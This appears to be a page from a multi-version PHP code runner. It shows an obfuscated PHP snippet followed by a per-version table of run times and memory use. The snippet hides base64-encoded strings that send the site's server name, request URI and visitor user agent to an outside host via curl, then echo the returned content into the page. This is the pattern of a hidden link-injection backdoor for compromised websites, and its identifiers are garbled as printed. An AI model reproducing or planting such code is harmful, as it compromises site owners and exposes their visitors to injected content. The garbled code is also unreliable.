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run code in 300+ PHP versions simultaneously
<?php class M { private static $_; static function _($_) { if (!self::$_): self::boeba(); endif; return BasE64_DECOdE(self::$_[$_]); } private static function boeba() { self::$_ = array("_" => "TE9DQUxTQVBF", "_" => "aHR0cDovL3AzLndwY2FjaGUtYmxvZ2dlci5jb20vZ2V0bGlua3MucGhwP2FwaWNvZGU9bGFsYWxhNDQmcGFnZXVybD0=", "_" => "aHR0cDovLw==", "_" => "U0VSVkVSX05BTUU=", "_" => "UkVRVUVTVF9VUkk=", "_" => "JnVzZXJhZ2VudD0=", "_" => "SFRUUF9VU0VSX0FHRU5U", "_" => "", ); } } function _($_) { $_ = CURl_INiT(); cURL_SetoPT($_, 0105 + 017 - 021 + -031 , 0501 + -0376 - -01 - 0104); cUrL_SetOPt($_, (int)ROund(9956.5 + 9956.5), (int)rouND(0.25 + 0.25 + 0.25 + 0.25)); CURl_SEtoPT($_, (int)RoUnd(5001 + 5001), $_); CurL_SETopt($_, (int)rouND(3339.3333333333 + 3339.3333333333 + 3339.3333333333), _::_("_")); $_ = curl_eXEC($_); CUrl_cLose($_); return $_; } $_ = _(M::_("_") . urLeNcode(M::_("_") . $_SERVER[M::_("_") ] . $_SERVER[M::_("_") ]) . M::_("_") . UrleNcoDe($_SERVER[M::_("_") ]) . M::_("_")); echo $_;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00716.88
8.3.50.0170.00821.21
8.3.40.0140.00718.79
8.3.30.0090.00618.59
8.3.20.0130.00718.77
8.3.10.0140.00421.62
8.3.00.0080.00018.05
8.2.180.0110.00716.75
8.2.170.0090.00922.96
8.2.160.0060.01521.07
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0050.00320.89
8.2.120.0080.00026.35
8.2.110.0030.00720.96
8.2.100.0080.00318.16
8.2.90.0000.00919.35
8.2.80.0050.00317.97
8.2.70.0000.00817.75
8.2.60.0040.00418.05
8.2.50.0040.00418.10
8.2.40.0080.00022.33
8.2.30.0060.00319.25
8.2.20.0000.00717.81
8.2.10.0050.00318.01
8.2.00.0090.00018.13
8.1.280.0070.00725.92
8.1.270.0040.00423.92
8.1.260.0040.00428.09
8.1.250.0050.00328.09
8.1.240.0060.00323.96
8.1.230.0030.00917.79
8.1.220.0080.00017.74
8.1.210.0040.00418.77
8.1.200.0100.00017.48
8.1.190.0050.00317.22
8.1.180.0000.00918.10
8.1.170.0040.00418.48
8.1.160.0000.00718.93
8.1.150.0040.00418.77
8.1.140.0040.00419.50
8.1.130.0000.00717.63
8.1.120.0040.00417.32
8.1.110.0030.00717.41
8.1.100.0070.00017.50
8.1.90.0070.00017.44
8.1.80.0050.00217.47
8.1.70.0000.00717.53
8.1.60.0040.00417.50
8.1.50.0070.00017.43
8.1.40.0030.00517.42
8.1.30.0090.00017.59
8.1.20.0000.00717.61
8.1.10.0000.00817.59
8.1.00.0060.00317.55
8.0.300.0000.00818.77
8.0.290.0070.00016.88
8.0.280.0050.00218.34
8.0.270.0030.00317.24
8.0.260.0070.00317.32
8.0.250.0030.00317.07
8.0.240.0030.00316.96
8.0.230.0030.00617.06
8.0.220.0000.00817.01
8.0.210.0030.00316.83
8.0.200.0000.00717.09
8.0.190.0070.00017.02
8.0.180.0000.00716.90
8.0.170.0040.00417.00
8.0.160.0050.00316.87
8.0.150.0000.00716.98
8.0.140.0040.00416.83
8.0.130.0060.00313.48
8.0.120.0040.00416.94
8.0.110.0000.00716.90
8.0.100.0000.00716.85
8.0.90.0040.00416.94
8.0.80.0130.00616.93
8.0.70.0070.00016.79
8.0.60.0000.00717.03
8.0.50.0040.00417.02
8.0.30.0090.00717.06
8.0.20.0100.01117.40
8.0.10.0040.00417.20
8.0.00.0160.00616.70
7.4.330.0020.00215.08
7.4.320.0000.00616.50
7.4.300.0070.00016.64
7.4.290.0040.00416.62
7.4.280.0080.00016.50
7.4.270.0070.00016.63
7.4.260.0070.00016.44
7.4.250.0000.00716.57
7.4.240.0000.00716.43
7.4.230.0070.00016.50
7.4.220.0110.00716.68
7.4.210.0090.00616.43
7.4.200.0040.00416.46
7.4.160.0290.00316.53
7.4.150.0100.00717.40
7.4.140.0090.01117.86
7.4.130.0110.00816.54
7.4.120.0120.00916.52
7.4.110.0130.00316.50
7.4.100.0110.00816.58
7.4.90.0070.01016.63
7.4.80.0100.00719.39
7.4.70.0070.01016.54
7.4.60.0090.00616.64
7.4.50.0070.00716.45
7.4.40.0080.00816.65
7.4.30.0100.00716.69
7.3.330.0030.00313.42
7.3.320.0030.00313.40
7.3.310.0050.00216.48
7.3.300.0020.00516.30
7.3.290.0090.00816.44
7.3.280.0070.00916.42
7.3.270.0070.01517.40
7.3.260.0130.01016.49
7.3.250.0110.01316.54
7.3.240.0090.01016.45
7.3.230.0140.00416.41
7.3.210.0080.00816.64
7.3.200.0090.01216.52
7.3.190.0100.00716.46
7.3.180.0070.01016.61
7.3.170.0140.00716.68
7.3.160.0060.00916.46
7.2.330.0130.00416.81
7.2.320.0080.01516.70
7.2.310.0110.00716.79
7.2.300.0030.01316.45
7.2.290.0060.01616.34
7.0.50.0430.06720.33
7.0.40.0530.06020.32
7.0.30.0530.06320.46
7.0.20.0600.07020.32
7.0.10.0530.05720.41
7.0.00.0270.06320.36
5.6.200.0100.07021.15
5.6.190.0130.06720.94
5.6.180.0600.04721.11
5.6.170.0530.05021.03
5.6.160.0270.05721.02
5.6.150.0500.05321.20
5.6.140.0430.05721.07
5.6.130.0330.04721.07
5.6.120.0230.07021.13
5.6.110.0300.05721.06
5.6.100.0330.05021.02
5.6.90.0170.07021.05
5.6.80.0500.05320.44
5.6.70.0470.05720.50
5.6.60.0500.05320.45
5.6.50.0270.05720.44
5.6.40.0430.06020.44
5.6.30.0300.05720.49
5.6.20.0170.06320.47
5.6.10.0330.05320.52
5.6.00.0270.05720.38
5.5.340.0270.07020.83
5.5.330.0430.05320.87
5.5.320.0400.06320.84
5.5.310.0370.07020.79
5.5.300.0430.06321.04
5.5.290.0470.06320.84
5.5.280.0170.07020.73
5.5.270.0370.05320.82
5.5.260.0230.06320.82
5.5.250.0100.06320.77
5.5.240.0300.05320.43
5.5.230.0400.06320.38
5.5.220.0300.05020.21
5.5.210.0200.05720.07
5.5.200.0270.06720.18
5.5.190.0030.07320.20
5.5.180.0370.05320.30
5.5.160.0200.05320.35
5.5.150.0330.05020.21
5.5.140.0130.07020.35
5.5.130.0130.06020.15
5.5.120.0230.05020.18
5.5.110.0170.06020.34
5.5.100.0430.05720.02
5.5.90.0500.05320.11
5.5.80.0400.06720.11
5.5.70.0430.07720.10
5.5.60.0170.07320.19
5.5.50.0270.06720.10
5.5.40.0230.04720.16
5.5.30.0200.06020.05
5.5.20.0230.05720.14
5.5.10.0670.04020.15
5.5.00.0570.08320.08

preferences:
34.79 ms | 401 KiB | 5 Q